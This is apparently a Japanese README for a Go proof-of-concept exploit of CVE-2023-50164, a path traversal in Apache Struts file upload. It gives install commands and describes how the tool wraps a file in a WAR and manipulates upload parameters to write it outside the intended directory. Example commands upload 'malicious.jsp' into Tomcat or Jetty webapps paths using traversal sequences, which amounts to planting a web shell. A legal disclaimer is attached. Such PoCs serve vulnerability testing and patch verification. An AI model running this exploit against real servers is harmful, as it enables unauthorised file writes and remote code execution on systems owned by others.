
Apache Struts のパストラバーサル("CVE-2023-50164")の概念実証
インストール
このツールをインストールするには、Go バージョン 1.20 以上がインストールされ、設定されている必要があります。
$ go install github.com/dwisiswant0/cve-2023-50164-poc@latest
または、以下のように自分でコンパイルすることもできます: $ git clone http://github.com/dwisiswant0/cve-2023-50164-poc cve-2023-50164-poc/ $ cd $_ $ go build .
仕組み
このツールは、エクスプロイトを実行するために一連のステージを経て動作します。
例えば、/path/to/file-you-want-to-upload.txt ファイルをアップロードしたい場合、ツールは次のように処理を進めます:
指定されたファイルを WAR ファイルに圧縮し、OS固有の一時ディレクトリに file-you-want-to-upload.war を生成します。
したがって、ツールはサーブレットコンテキストのファイルパスが
/file-you-want-to-upload/file-you-want-to-upload.txt であると想定します。
サーブレットコンテキストのファイルパスが既に存在するかどうかを確認します。存在する場合、ツールは直ちにエラーを返します。
ツールはファイルアップロードパラメータを操作して WAR ファイルのアップロードを試みます。
その後、サーブレットコンテキストのファイルパスの可用性(ステータスコード 200)を再確認し、ファイルのアップロード成功を示します。
使い方
$ cve-2023-50164-poc -h
PoC for CVE-2023-50164
--
coded by @dwisiswant0
Usage:
cve-2023-50164-poc -u <URL> -f <FILE> -p <PATH>
Options:
-u, --url <URL> Specify the upload endpoint URL
-f, --file <FILE> Provide the payload file for uploading
-t, --traverse-seq <N> Generate traversal sequences N times (default: "0")
-p, --path <PATH> Specify the path to the accessible root directory
-w, -win, --windows Converts slash ("/") chars to Windows separator ("\")
Example:
cve-2023-50164-poc -u http://host/path/to/upload.action -f foo.txt -t 1 -p webapps
cve-2023-50164-poc -u http://host/upload/upload.action -f malicious.jsp -t 2 -p /opt/tomcat/webapps
注意事項
jar バイナリがシステムの $PATH に存在する必要があります。
対象のパスはアクセス可能なルートパスである必要があります。例えば Jetty の場合は /var/lib/jetty/webapps、
Apache Tomcat の場合は /opt/tomcat/webapps などです。
デフォルトのトラバーサルシーケンスはゼロ ("0") です。-p/--path フラグの値に手動でトラバーサルシーケンスを入力できます。
例:/../webapps や /../../opt/tomcat/webapps など。トラバーサルシーケンスはサーブレットごとに異なります。
-w/-win/--windows フラグは、サーブレットが Windows サーバー上で動作する場合にのみ使用されます。
免責事項
このツールを相互の同意なしにターゲットを攻撃するために使用することは違法です。ユーザーは地域、州、連邦の法律に従う必要があります。 開発者("dwisiswant0"/"Dwi Siswanto")は、ツールの誤用によって引き起こされたいかなる損害に対しても責任を負いません。
ライセンス
このツールは WTFPL v2 (DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE) の下でライセンスされています。COPYING を参照してください。